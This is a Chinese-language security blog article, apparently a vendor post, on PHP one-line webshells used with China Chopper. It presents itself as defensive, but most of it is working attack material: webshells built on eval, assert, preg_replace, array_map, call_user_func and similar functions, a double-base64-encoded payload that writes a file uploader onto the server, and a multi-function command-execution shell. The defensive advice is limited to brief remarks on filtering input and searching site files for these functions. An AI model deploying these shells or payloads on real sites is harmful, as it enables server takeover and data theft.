天天看點

網站安全問題針對一句話木馬函數的普析與防範

PHP網站安全防一句話木馬入侵

一、首先是菜刀一句話木馬:

     菜刀一句話木馬的原理是調用了PHP的代碼執行函數,比如以下1和2兩個常見的一句話菜刀馬,就是調用了eval函數、assert函數。

1、eval()函數

#傳入的參數必須為PHP代碼,既需要以分号結尾。

#指令執行:cmd=system(whoami);

#菜刀連接配接密碼:cmd

<?php @eval($_POST['cmd']);?>

網站安全問題針對一句話木馬函數的普析與防範

那麼當我們上傳了eval函數的菜刀馬之後,在連接配接不上菜刀的情況下怎麼上傳大馬呢?繼續往下看這裡我是先寫一個上傳馬,再用上傳馬去上傳大馬,有點多次一舉,但是考慮到大馬代碼量太多,還是建議先寫個上傳馬,以下代碼隻有1kb。(這是根據黑客的角度去模拟進行上傳木馬,自然防禦的方法就是針對這個eval函數的get post送出直接過濾掉。)

<?php

@$temp = $_FILES['upload_file']['tmp_name'];

@$file = basename($_FILES['upload_file']['name']);

if (empty ($file)){

echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>

原理是利用檔案操作函數如下:

fputs(fopen(shell.php,w),xxxx);

寫入xxxx到腳本執行檔案目前目錄下的shell.php檔案。

由于是利用post傳參,不能出現【<】【>】【+】【=】【/】等符号,是以這裡我們需要把代碼編碼一下,将上面的上傳代碼進行兩次base64編碼(為了去除=号)。

在編碼的時候空格和回車都會影響編碼後的結果,是以建議大家直接複制我上面的上傳馬或者用下面我編碼好的,或者自己去慢慢嘗試直到base64編碼後為一串自由數字和字母的字元串即可。

接下來利用檔案操作函數寫入上傳馬,注意不要忘了最後的分号。

cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXe

WQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYM

lpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZ

EdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1B

HbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElE

MGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDla

V3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV0

5qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc

0aU8zMTlQejQ9)));

成功得到上傳馬,之後就是上傳我們的大馬了。

網站安全問題針對一句話木馬函數的普析與防範

2、assert()函數

#assert函數是直接将傳入的參數當成PHP代碼直接,不需要以分号結尾,當然你加上也可以。

#指令執行:cmd=system(whoami)

<?php @assert($_POST['cmd'])?>

網站安全問題針對一句話木馬函數的普析與防範

上傳大馬,這一步參考eval函數。

     其他的代碼執行函數還有以下幾個,均給出了菜刀一句話木馬和連接配接方式:

(這是根據黑客的角度去模拟進行上傳木馬,自然防禦的方法就是針對這個assert()函數的get post送出直接過濾掉。)

3、preg_replace()

#preg_replace('正則規則','替換字元','目标字元')

#執行指令和上傳檔案參考assert函數(不需要加分号)。

#将目标字元中符合正則規則的字元替換為替換字元,此時如果正則規則中使用/e修飾符,則存在代碼執行漏洞。

preg_replace("/test/e",$_POST["cmd"],"jutst test");

這裡可以使用chr()函數轉換ASCII編碼來執行代碼。

#phpinfo();

eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))

網站安全問題針對一句話木馬函數的普析與防範

(這是根據黑客的角度去模拟進行上傳木馬,解決的建議方法就是針對這個preg_replace("/test/e",$_POST["函數的get post送出直接過濾掉。)

4、create_function()函數

#建立匿名函數執行代碼

#執行指令和上傳檔案參考eval函數(必須加分号)。

$func =create_function('',$_POST['cmd']);$func();

5、array_map()函數

#array_map() 函數将使用者自定義函數作用到數組中的每個值上,并傳回使用者自定義函數作用後的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一緻。

#指令執行

http://localhost/123.php?func=system  

 cmd=whoami

#菜刀連接配接

http://localhost/123.php?func=assert  

 密碼:cmd

$func=$_GET['func'];

$cmd=$_POST['cmd'];

$array[0]=$cmd;

$new_array=array_map($func,$array);

echo $new_array;

網站安全問題針對一句話木馬函數的普析與防範

6、call_user_func()函數

#傳入的參數作為assert函數的參數

#cmd=system(whoami)

call_user_func("assert",$_POST['cmd']);

7、call_user_func_array()函數

#将傳入的參數作為數組的第一個值傳遞給assert函數

call_user_func_array("assert",$array);

8、array_filter()函數

#用回調函數過濾數組中的元素:array_filter(數組,函數)

#指令執行func=system&cmd=whoami

http://localhost/123.php?func=assert 

 密碼cmd

$array1=array($cmd);

$func =$_GET['func'];

array_filter($array1,$func);

9、uasort()函數

#php環境>=<5.6才能用

#uasort() 使用使用者自定義的比較函數對數組中的值進行排序并保持索引關聯 。

#指令執行:

http://localhost/123.php?1=1

+1&2=eval($_GET[cmd])&cmd=system(whoami);

#菜刀連接配接:

+1&2=eval($_POST[cmd])   密碼:cmd

usort($_GET,'asse'.'rt');

二、指令執行函數

     PHP執行系統指令的有幾個常用的函數,如有:system函數、exec函數、popen函數,passthru,shell_exec函數他們都可以執行系統指令,下面是我整理的一個指令馬,把常見的指令執行函數都做了一個梳理,如果大家還有什麼新的思路或見解,可以一起交流交流。

$command=$_POST['cmd'];

#function exec_all($command)

#{

//system函數可執行并直接顯示結果

if(function_exists('system'))

{

    echo "<pre>";

    system($command);

    echo "</pre>";

}

//passthru函數可執行并直接顯示結果

else if(function_exists('passthru'))

    passthru($command);

//shell_exec函數可執行但需要加echo才能顯示結果

else if(function_exists('shell_exec'))

    echo shell_exec($command);

//function exec(指令,以數組形式的儲存結果,指令執行的狀态碼)

//可執行,但需要加echo才能顯示結果

else if(function_exists('exec'))

{  

    exec($command,$output);

    echo "</br>";

    print_r($output);

//popen函數:打開一個指向程序的管道,該程序由派生指定的 command 指令執行而産生。

//傳回一個和 fopen() 所傳回的相同的檔案指針,隻不過它是單向的(隻能用于讀或寫)

//此指針可以用于 fgets(),fgetss() 和 fwrite()。并且必須用 pclose() 來關閉。

//若出錯,則傳回 false。

else if(function_exists('popen'))

    $handle = popen($command , "r"); // Open the command pipe for reading

    if(is_resource($handle))

    {

        if(function_exists('fread') && function_exists('feof'))

        {

            echo "<pre>";

            while(!feof($handle))

            {

                echo fread($handle, 1024);       

            }

            echo "</pre>";

        }

        else if(function_exists('fgets') && function_exists('feof'))

            {       

                echo fgets($handle,1024);

    }

    pclose($handle);

//proc_open — 執行一個指令,并且打開用來輸入/輸出的檔案指針。

else if(function_exists('proc_open'))

    $descriptorspec = array(

            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to

            );

    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'

            while(!feof($pipes[1]))

                echo fread($pipes[1], 1024);       

                echo fgets($pipes[1],1024);

    #pclose($handle);

else

    echo 'GG';

#}

     其他函數:

暫時就知道其他兩個函數,不過也都是基于以上的函數所變化的。

echo "<pre>";

//可執行并直接顯示結果,反引号,波浪鍵。

//shell_exec() 函數實際上僅是反撇号 (`) 操作符的變體

//是以如果把shell_exec()函數禁用了,反撇号 (`)也是執行不了指令的。

echo `$cmd`;

//注意,這個隻顯示結果的第一行,是以基本隻能執行whoami

//ob_start:打開緩沖區,需要system函數開啟

$a = 'system';

ob_start($a);

echo "$_POST[cmd]";

ob_end_flush();

echo "</pre>";

     上面講完指令執行指令,也都可以執行指令了,那麼如何利用這些指令馬來進一步上傳腳本大馬呢,這裡就要涉及到一下CMD指令進行上傳木馬了

網站安全問題針對一句話木馬函數的普析與防範

成功執行指令之後,首先利用【dir】指令得到網站路徑,如果是mysql注入得到的os-shell也可用【dir d:\ /b】指令查找存放網站程式的路徑。

網站安全問題針對一句話木馬函數的普析與防範

這些一句話木馬代碼所用到的函數千變萬化,那麼我們站在黑客的角度進行防禦 就要杜絕這些函數來執行上傳腳本木馬來對網站進行安全防範,平常也可以通過搜尋這些函數來查找網站的腳本檔案有無被上傳這些一句話木馬函數的腳本,綜合上述多個代碼函數的黑客入侵應用方法要對程式中的get post head送出方式進行過濾以防再次被黑客入侵。

專注于安全領域 解決網站安全 解決網站被黑 網站被挂馬 網站被篡改

網站安全、伺服器安全提供商-www.sinesafe.com --專門解決其他人解決不了的網站安全問題.